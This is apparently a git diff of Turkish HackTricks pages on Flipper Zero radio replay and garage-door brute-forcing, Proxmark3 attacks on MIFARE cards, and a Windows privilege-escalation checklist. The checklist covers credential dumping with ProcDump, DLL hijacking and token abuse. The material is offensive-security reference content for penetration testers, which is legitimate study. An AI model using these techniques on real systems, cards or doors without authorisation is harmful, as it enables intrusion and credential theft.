@ -15,17 +15,10 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Giriş <a href="#kfpn7" id="kfpn7"></a> ## Giriş <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero, **uzaktan kumandaları okuyabilen, kaydedebilen ve taklit edebilen yerleşik modülü ile 300-928 MHz aralığında radyo frekanslarını **alabilir ve iletebilir. Bu kumandalar, kapılar, engeller, radyo kilitleri, uzaktan kumanda anahtarları, kablosuz kapı zilleri, akıllı ışıklar ve daha fazlası ile etkileşim için kullanılır. Flipper Zero, güvenliğinizin tehlikeye girip girmediğini öğrenmenize yardımcı olabilir. Flipper Zero, **uzaktan kumandaları okuyabilen, kaydedebilen ve taklit edebilen yerleşik modülü ile 300-928 MHz aralığında radyo frekanslarını **alabilir ve iletebilir. Bu kontroller, kapılar, engeller, radyo kilitleri, uzaktan kumanda anahtarları, kablosuz kapı zilleri, akıllı ışıklar ve daha fazlası ile etkileşim için kullanılır. Flipper Zero, güvenliğinizin tehlikeye girip girmediğini öğrenmenize yardımcı olabilir.
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
@ -43,7 +36,7 @@ Flipper Zero, [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101
Uzaktan kumandanın hangi frekansı kullandığını nasıl bulabilirsiniz Uzaktan kumandanın hangi frekansı kullandığını nasıl bulabilirsiniz
{% endhint %} {% endhint %}
Analiz sırasında, Flipper Zero, frekans yapılandırmasında mevcut olan tüm frekanslarda sinyal gücünü (RSSI) tarar. Flipper Zero, -90 [dBm](https://en.wikipedia.org/wiki/DBm) değerinden daha yüksek sinyal gücüne sahip en yüksek RSSI değerine sahip frekansısterir. Analiz sırasında, Flipper Zero, frekans yapılandırmasında mevcut olan tüm frekanslarda sinyal gücünü (RSSI) tarar. Flipper Zero, -90 [dBm](https://en.wikipedia.org/wiki/DBm) değerinden daha yüksek sinyal gücüne sahip en yüksek RSSI değerine sahip frekansırüntüler.
Uzaktan kumandanın frekansını belirlemek için aşağıdakileri yapın: Uzaktan kumandanın frekansını belirlemek için aşağıdakileri yapın:
@ -55,17 +48,17 @@ Uzaktan kumandanın frekansını belirlemek için aşağıdakileri yapın:
### Oku ### Oku
{% hint style="info" %} {% hint style="info" %}
Kullanılan frekans hakkında bilgi bulun (hangi frekansın kullanıldığını bulmanın başka bir yolu) Kullanılan frekans hakkında bilgi bulun (aynı zamanda hangi frekansın kullanıldığını bulmanın başka bir yolu)
{% endhint %} {% endhint %}
**Oku** seçeneği, belirtilen modülasyonda **yapılandırılmış frekansta dinler**: varsayılan olarak 433.92 AM. Eğer **okuma sırasında bir şey bulunursa**, ekranda **bilgi verilir**. Bu bilgi, gelecekte sinyali çoğaltmak için kullanılabilir. **Oku** seçeneği, belirtilen modülasyonda **yapılandırılmış frekansta dinler**: varsayılan olarak 433.92 AM. Eğer **okuma sırasında bir şey bulunursa**, ekranda **bilgi verilir**. Bu bilgi, gelecekte sinyali çoğaltmak için kullanılabilir.
Okuma sırasında, **sol düğmeye** basarak **ayar yapmanız** mümkündür.\ Okuma kullanılırken, **sol düğmeye** basıp **yapılandırmak** mümkündür.\
Bu anda **4 modülasyon** (AM270, AM650, FM328 ve FM476) ve **birçok ilgili frekans** saklanmıştır: Bu anda **4 modülasyon** (AM270, AM650, FM328 ve FM476) ve **birçok ilgili frekans** saklanmıştır:
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
**İlginizi çeken herhangi birini** ayarlayabilirsiniz, ancak eğer **uzaktan kumandanızın hangi frekansı kullandığından emin değilseniz**, **Hopping'i AÇIK** (varsayılan olarak Kapalı) ayarlayın ve Flipper bunu yakalayana kadar düğmeye birkaç kez basın, böylece frekansı ayarlamak için gereken bilgiyi alırsınız. **İlginizi çeken herhangi birini** ayarlayabilirsiniz, ancak eğer **uzaktan kumandanızın hangi frekansı kullanabileceğinden emin değilseniz**, **Hopping'i AÇIK** (varsayılan olarak Kapalı) ayarlayın ve Flipper bunu yakalayana kadar düğmeye birkaç kez basın, ardından frekansı ayarlamak için ihtiyacınız olan bilgiyi alırsınız.
{% hint style="danger" %} {% hint style="danger" %}
Frekanslar arasında geçiş yapmak biraz zaman alır, bu nedenle geçiş sırasında iletilen sinyaller kaçırılabilir. Daha iyi sinyal alımı için, Frekans Analizörü tarafından belirlenen sabit bir frekans ayarlayın. Frekanslar arasında geçiş yapmak biraz zaman alır, bu nedenle geçiş sırasında iletilen sinyaller kaçırılabilir. Daha iyi sinyal alımı için, Frekans Analizörü tarafından belirlenen sabit bir frekans ayarlayın.
@ -79,16 +72,16 @@ Yapılandırılmış frekansta bir sinyali çalın (ve tekrar edin)
**Ham Oku** seçeneği, dinleme frekansında gönderilen sinyalleri **kaydeder**. Bu, bir sinyali **çalmak** ve **tekrar etmek** için kullanılabilir. **Ham Oku** seçeneği, dinleme frekansında gönderilen sinyalleri **kaydeder**. Bu, bir sinyali **çalmak** ve **tekrar etmek** için kullanılabilir.
Varsayılan olarak **Ham Oku da 433.92 AM650**'de bulunmaktadır, ancak Okuma seçeneği ile ilginizi çeken sinyalin **farklı bir frekans/modülasyonda olduğunu bulursanız, bunu da** sol düğmeye basarak değiştirebilirsiniz (Ham Oku seçeneği içindeyken). Varsayılan olarak **Ham Oku da 433.92 AM650**'de bulunmaktadır, ancak Okuma seçeneği ile ilginizi çeken sinyalin **farklı bir frekans/modülasyonda olduğunu bulursanız, bunu da değiştirebilirsiniz** (Ham Oku seçeneği içindeyken sola basarak).
### Kaba Kuvvet ### Kaba Kuvvet
Eğer garaj kapısında kullanılan protokolü biliyorsanız, **tüm kodları üretebilir ve bunları Flipper Zero ile gönderebilirsiniz.** Bu, genel yaygın garaj türlerini destekleyen bir örnektir: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce) Eğer garaj kapısı tarafından kullanılan protokolü biliyorsanız, **tüm kodları üretebilir ve bunları Flipper Zero ile gönderebilirsiniz.** Bu, genel yaygın garaj türlerini destekleyen bir örnektir: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Manuel Ekle ### Manuel Ekle
{% hint style="info" %} {% hint style="info" %}
Yapılandırılmış bir protokol listesine sinyaller ekleyin Yapılandırılmış bir protokol listesinde sinyalleri ekleyin
{% endhint %} {% endhint %}
#### [desteklenen protokoller](https://docs.flipperzero.one/sub-ghz/add-new-remote) listesi <a href="#id-3iglu" id="id-3iglu"></a> #### [desteklenen protokoller](https://docs.flipperzero.one/sub-ghz/add-new-remote) listesi <a href="#id-3iglu" id="id-3iglu"></a>
@ -112,11 +105,11 @@ Yapılandırılmış bir protokol listesine sinyaller ekleyin
### Desteklenen Sub-GHz satıcıları ### Desteklenen Sub-GHz satıcıları
[https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) adresinde listeyi kontrol edin. [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) adresindeki listeyi kontrol edin.
### Bölgeye göre desteklenen frekanslar ### Bölgeye göre desteklenen frekanslar
[https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies) adresinde listeyi kontrol edin. [https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies) adresindeki listeyi kontrol edin.
### Test ### Test
@ -128,15 +121,9 @@ Kaydedilen frekansların dBms'ini alın
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz) * [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -9,20 +9,12 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Proxmark3 ile RFID Sistemlerine Saldırmak ## Proxmark3 ile RFID Sistemlerine Saldırmak
Yapmanız gereken ilk şey bir [**Proxmark3**](https://proxmark.com) edinmek ve [**yazılımı ve bağımlılıklarını yüklemek**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux). Yapmanız gereken ilk şey bir [**Proxmark3**](https://proxmark.com) edinmek ve [**yazılımı ve bağımlılıklarını yüklemek**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
@ -30,8 +22,8 @@ Yapmanız gereken ilk şey bir [**Proxmark3**](https://proxmark.com) edinmek ve
### MIFARE Classic 1KB'ye Saldırmak ### MIFARE Classic 1KB'ye Saldırmak
**16 sektör** vardır, her birinde **4 blok** ve her blokta **16B** bulunur. UID, sektör 0 blok 0'da (ve değiştirilemez).\ **16 sektör** vardır, her birinde **4 blok** ve her blokta **16B** bulunur. UID, sektör 0 blok 0'da (ve değiştirilemez).\
Her sektöre erişmek için **2 anahtara** (**A** ve **B**) ihtiyacınız var, bunlar **her sektörün blok 3'ünde** (sektör trailer) saklanır. Sektör trailer ayrıca **okuma ve yazma** izinlerini veren **erişim bitlerini** saklar.\ Her sektöre erişmek için **2 anahtara** (**A** ve **B**) ihtiyacınız var, bunlar **her sektörün blok 3'ünde** saklanır (sektör trailer). Sektör trailer ayrıca **okuma ve yazma** izinlerini veren **erişim bitlerini** saklar.\
2 anahtar, ilkini biliyorsanız okumak için ve ikincisini biliyorsanız yazmak için izin vermek için kullanışlıdır (örneğin). 2 anahtar, ilkini biliyorsanız okumak ve ikincisini biliyorsanız yazmak için izin vermek için kullanışlıdır (örneğin).
Birçok saldırı gerçekleştirilebilir. Birçok saldırı gerçekleştirilebilir.
```bash ```bash
@ -68,20 +60,13 @@ Valid ISO14443A Tag Found - Quiting Search
``` ```
Bu bilgilerle kart hakkında ve onunla iletişim kurma yöntemi hakkında bilgi aramayı deneyebilirsiniz. Proxmark3, şu şekilde ham komutlar göndermeye olanak tanır: `hf 14a raw -p -b 7 26` Bu bilgilerle kart hakkında ve onunla iletişim kurma yöntemi hakkında bilgi aramayı deneyebilirsiniz. Proxmark3, şu şekilde ham komutlar göndermeye olanak tanır: `hf 14a raw -p -b 7 26`
### Scripts ### Scriptler
Proxmark3 yazılımı, basit görevleri yerine getirmek için kullanabileceğiniz önceden yüklenmiş **otomasyon scriptleri** listesi ile birlikte gelir. Tam listeyi almak için `script list` komutunu kullanın. Ardından, scriptin adını takip eden `script run` komutunu kullanın: Proxmark3 yazılımı, basit görevleri yerine getirmek için kullanabileceğiniz önceden yüklenmiş **otomasyon scriptleri** listesi ile birlikte gelir. Tam listeyi almak için `script list` komutunu kullanın. Ardından, scriptin adını takip eden `script run` komutunu kullanın:
``` ```
proxmark3> script run mfkeys proxmark3> script run mfkeys
``` ```
Bir **fuzz tag okuyucuları** oluşturmak için bir script yazabilirsiniz, böylece bir **geçerli kartın** verilerini kopyalayarak bir **Lua scripti** yazın, bir veya daha fazla rastgele **byte**'ı **rastgeleleştirip** her iterasyonda **okuyucunun çöküp çökmediğini** kontrol edin. Bir **fuzz tag okuyucuları** oluşturmak için bir script yazabilirsiniz, böylece bir **geçerli kartın** verilerini kopyalamak için sadece bir **Lua scripti** yazın, bir veya daha fazla rastgele **byte**'ı **rastgeleleştirip** her iterasyonda **okuyucunun çöküp çökmediğini** kontrol edin.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -92,8 +77,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,22 +15,14 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### **Windows yerel yetki yükseltme vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ### **Windows yerel yetki yükseltme vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Sistem Bilgisi](windows-local-privilege-escalation/#system-info) ### [Sistem Bilgisi](windows-local-privilege-escalation/#system-info)
* [ ] [**Sistem bilgilerini**](windows-local-privilege-escalation/#system-info) edinin * [ ] [**Sistem bilgilerini**](windows-local-privilege-escalation/#system-info) edinin
* [ ] **kernel** için [**saldırılar arayın**](windows-local-privilege-escalation/#version-exploits) * [ ] **kernel** için [**saldırıları**](windows-local-privilege-escalation/#version-exploits) aramak için **scriptler** kullanın
* [ ] **Google'ı kullanarak** kernel **saldırılarını arayın** * [ ] **Google'ı kullanarak** kernel **saldırılarını** arayın
* [ ] **searchsploit kullanarak** kernel **saldırılarını arayın** * [ ] **searchsploit kullanarak** kernel **saldırılarını** arayın
* [ ] [**env vars**](windows-local-privilege-escalation/#environment) içinde ilginç bilgiler var mı? * [ ] [**env vars**](windows-local-privilege-escalation/#environment) içinde ilginç bilgiler var mı?
* [ ] [**PowerShell geçmişinde**](windows-local-privilege-escalation/#powershell-history) şifreler var mı? * [ ] [**PowerShell geçmişinde**](windows-local-privilege-escalation/#powershell-history) şifreler var mı?
* [ ] [**Internet ayarlarında**](windows-local-privilege-escalation/#internet-settings) ilginç bilgiler var mı? * [ ] [**Internet ayarlarında**](windows-local-privilege-escalation/#internet-settings) ilginç bilgiler var mı?
@ -44,99 +36,93 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [ ] [**LAPS**](windows-local-privilege-escalation/#laps) kontrol edin * [ ] [**LAPS**](windows-local-privilege-escalation/#laps) kontrol edin
* [ ] [**WDigest**](windows-local-privilege-escalation/#wdigest) aktif mi kontrol edin * [ ] [**WDigest**](windows-local-privilege-escalation/#wdigest) aktif mi kontrol edin
* [ ] [**LSA Koruması**](windows-local-privilege-escalation/#lsa-protection)? * [ ] [**LSA Koruması**](windows-local-privilege-escalation/#lsa-protection)?
* [ ] [**Kimlik Bilgileri Koruması**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials) * [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
* [ ] [**Önbelleğe Alınmış Kimlik Bilgileri**](windows-local-privilege-escalation/#cached-credentials)? * [ ] [**Önbelleğe alınmış Kimlik Bilgileri**](windows-local-privilege-escalation/#cached-credentials)?
* [ ] Herhangi bir [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) var mı kontrol edin * [ ] Herhangi bir [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) kontrol edin
* [ ] [**AppLocker Politikası**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? * [ ] [**AppLocker Politikası**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
* [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) * [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
* [ ] [**Kullanıcı Yetkileri**](windows-local-privilege-escalation/#users-and-groups) * [ ] [**Kullanıcı Yetkileri**](windows-local-privilege-escalation/#users-and-groups)
* [ ] [**mevcut** kullanıcı **yetkilerini**](windows-local-privilege-escalation/#users-and-groups) kontrol edin * [ ] [**mevcut** kullanıcı **yetkilerini**](windows-local-privilege-escalation/#users-and-groups) kontrol edin
* [ ] Herhangi bir [**ayrıcalıklı gruba üye misiniz**](windows-local-privilege-escalation/#privileged-groups)? * [ ] Herhangi bir [**ayrıcalıklı grupta**](windows-local-privilege-escalation/#privileged-groups) üye misiniz?
* [ ] [**Bu tokenlerden herhangi biri etkin mi**](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? * [ ] [**Bu tokenlerden herhangi biri etkin mi**](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* [ ] [**Kullanıcı Oturumları**](windows-local-privilege-escalation/#logged-users-sessions)? * [ ] [**Kullanıcı Oturumları**](windows-local-privilege-escalation/#logged-users-sessions)?
* [ ] [**kullanıcı evlerini**](windows-local-privilege-escalation/#home-folders) kontrol edin (erişim?) * [ ] [**kullanıcı evlerini**](windows-local-privilege-escalation/#home-folders) kontrol edin (erişim?)
* [ ] [**Şifre Politikası**](windows-local-privilege-escalation/#password-policy) kontrol edin * [ ] [**Şifre Politikası**](windows-local-privilege-escalation/#password-policy) kontrol edin
* [ ] [**Pano içinde ne var**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)? * [ ] [**Panoya**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard) ne var?
### [](windows-local-privilege-escalation/#network) ### [](windows-local-privilege-escalation/#network)
* [ ] **mevcut** [**ağ** **bilgilerini**](windows-local-privilege-escalation/#network) kontrol edin * [ ] **mevcut** [**ağ** **bilgilerini**](windows-local-privilege-escalation/#network) kontrol edin
* [ ] **dışarıya kısıtlı gizli yerel hizmetleri** kontrol edin * [ ] Dışarıya kısıtlı **gizli yerel hizmetleri** kontrol edin
### [Çalışan Süreçler](windows-local-privilege-escalation/#running-processes) ### [Çalışan Süreçler](windows-local-privilege-escalation/#running-processes)
* [ ] Süreçlerin ikili [**dosya ve klasör izinleri**](windows-local-privilege-escalation/#file-and-folder-permissions) * [ ] Süreçlerin ikili [**dosya ve klasör izinleri**](windows-local-privilege-escalation/#file-and-folder-permissions)
* [ ] [**Bellek Şifre Madenciliği**](windows-local-privilege-escalation/#memory-password-mining) * [ ] [**Bellek Şifre madenciliği**](windows-local-privilege-escalation/#memory-password-mining)
* [ ] [**Güvensiz GUI uygulamaları**](windows-local-privilege-escalation/#insecure-gui-apps) * [ ] [**Güvensiz GUI uygulamaları**](windows-local-privilege-escalation/#insecure-gui-apps)
* [ ] `ProcDump.exe` aracılığıyla **ilginç süreçlerle** kimlik bilgilerini çalmak? (firefox, chrome, vb...) * [ ] `ProcDump.exe` aracılığıyla **ilginç süreçlerle** kimlik bilgilerini çalmak? (firefox, chrome, vb...)
### [Hizmetler](windows-local-privilege-escalation/#services) ### [Hizmetler](windows-local-privilege-escalation/#services)
* [ ] [Herhangi bir **hizmeti değiştirebilir misiniz**?](windows-local-privilege-escalation/#permissions) * [ ] [Herhangi bir **hizmeti değiştirebilir misiniz**?](windows-local-privilege-escalation/#permissions)
* [ ] [Herhangi bir **hizmet** tarafından **çalıştırılan** **ikiliyi değiştirebilir misiniz**?](windows-local-privilege-escalation/#modify-service-binary-path) * [ ] [Herhangi bir **hizmet** tarafından **çalıştırılan** **ikiliyi** **değiştirebilir misiniz**?](windows-local-privilege-escalation/#modify-service-binary-path)
* [ ] [Herhangi bir **hizmetin** **kayıt defterini değiştirebilir misiniz**?](windows-local-privilege-escalation/#services-registry-modify-permissions) * [ ] [Herhangi bir **hizmetin** **kayıt defterini** **değiştirebilir misiniz**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
* [ ] [Herhangi bir **belirsiz hizmet** ikili **yolundan faydalanabilir misiniz**?](windows-local-privilege-escalation/#unquoted-service-paths) * [ ] [Herhangi bir **belirtilmemiş hizmet** ikili **yolundan** yararlanabilir misiniz?](windows-local-privilege-escalation/#unquoted-service-paths)
### [**Uygulamalar**](windows-local-privilege-escalation/#applications) ### [**Uygulamalar**](windows-local-privilege-escalation/#applications)
* [ ] **Yüklenmiş uygulamalar üzerindeki** [**yazma izinleri**](windows-local-privilege-escalation/#write-permissions) * [ ] **Yüklenmiş uygulamalarda** [**yazma**](windows-local-privilege-escalation/#write-permissions) izinleri
* [ ] [**Başlangıç Uygulamaları**](windows-local-privilege-escalation/#run-at-startup) * [ ] [**Başlangıç Uygulamaları**](windows-local-privilege-escalation/#run-at-startup)
* [ ] **Zayıf** [**Sürücüler**](windows-local-privilege-escalation/#drivers) * [ ] **Zayıf** [**Sürücüler**](windows-local-privilege-escalation/#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking) ### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
* [ ] **PATH içindeki herhangi bir klasöre yazabilir misiniz**? * [ ] **PATH** içindeki herhangi bir klasöre **yazabilir misiniz**?
* [ ] **Herhangi bir mevcut olmayan DLL'yi yüklemeye çalışan** bilinen bir hizmet ikilisi var mı? * [ ] **Herhangi bir mevcut olmayan DLL'yi yüklemeye çalışan** bilinen bir hizmet ikilisi var mı?
* [ ] **Herhangi bir **ikili klasöre yazabilir misiniz**? * [ ] **Herhangi bir** ikili klasöre **yazabilir misiniz**?
### [](windows-local-privilege-escalation/#network) ### [](windows-local-privilege-escalation/#network)
* Ağı sayın (paylaşımlar, arayüzler, yollar, komşular, ...) * Ağı sayın (paylaşımlar, arayüzler, yollar, komşular, ...)
* Yerel ağ hizmetlerine (127.0.0.1) özel bir göz atın * Yerel ağda (127.0.0.1) dinleyen ağ hizmetlerine özel bir göz atın
### [Windows Kimlik Bilgileri](windows-local-privilege-escalation/#windows-credentials) ### [Windows Kimlik Bilgileri](windows-local-privilege-escalation/#windows-credentials)
* [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) kimlik bilgileri * [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) kimlik bilgileri
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) kullanabileceğiniz kimlik bilgileri? * [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) kimlik bilgileri kullanabilir misiniz?
* [ ] İlginç [**DPAPI kimlik bilgileri**](windows-local-privilege-escalation/#dpapi)? * İlginç [**DPAPI kimlik bilgileri**](windows-local-privilege-escalation/#dpapi)?
* [ ] Kaydedilmiş [**Wifi ağlarının**](windows-local-privilege-escalation/#wifi) şifreleri? * Kaydedilmiş [**Wifi ağlarının**](windows-local-privilege-escalation/#wifi) şifreleri?
* [ ] [**kaydedilmiş RDP Bağlantılarında**](windows-local-privilege-escalation/#saved-rdp-connections) ilginç bilgiler var mı? * [**Kaydedilmiş RDP Bağlantılarında**](windows-local-privilege-escalation/#saved-rdp-connections) ilginç bilgiler var mı?
* [ ] [**son çalıştırılan komutlarda**](windows-local-privilege-escalation/#recently-run-commands) şifreler var mı? * [**Son çalıştırılan komutlarda**](windows-local-privilege-escalation/#recently-run-commands) şifreler var mı?
* [ ] [**Uzak Masaüstü Kimlik Bilgileri Yöneticisi**](windows-local-privilege-escalation/#remote-desktop-credential-manager) şifreleri? * [**Uzak Masaüstü Kimlik Bilgileri Yöneticisi**](windows-local-privilege-escalation/#remote-desktop-credential-manager) şifreleri?
* [ ] [**AppCmd.exe** var mı](windows-local-privilege-escalation/#appcmd-exe)? Kimlik bilgileri? * [**AppCmd.exe** var mı](windows-local-privilege-escalation/#appcmd-exe)? Kimlik bilgileri?
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL Yan Yükleme? * [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL Yan Yükleme?
### [Dosyalar ve Kayıt Defteri (Kimlik Bilgileri)](windows-local-privilege-escalation/#files-and-registry-credentials) ### [Dosyalar ve Kayıt Defteri (Kimlik Bilgileri)](windows-local-privilege-escalation/#files-and-registry-credentials)
* [ ] **Putty:** [**Kimlik Bilgileri**](windows-local-privilege-escalation/#putty-creds) **ve** [**SSH anahtarları**](windows-local-privilege-escalation/#putty-ssh-host-keys) * [ ] **Putty:** [**Kimlik Bilgileri**](windows-local-privilege-escalation/#putty-creds) **ve** [**SSH ana bilgisayar anahtarları**](windows-local-privilege-escalation/#putty-ssh-host-keys)
* [ ] [**Kayıt defterinde SSH anahtarları**](windows-local-privilege-escalation/#ssh-keys-in-registry)? * [ ] [**Kayıt defterinde SSH anahtarları**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
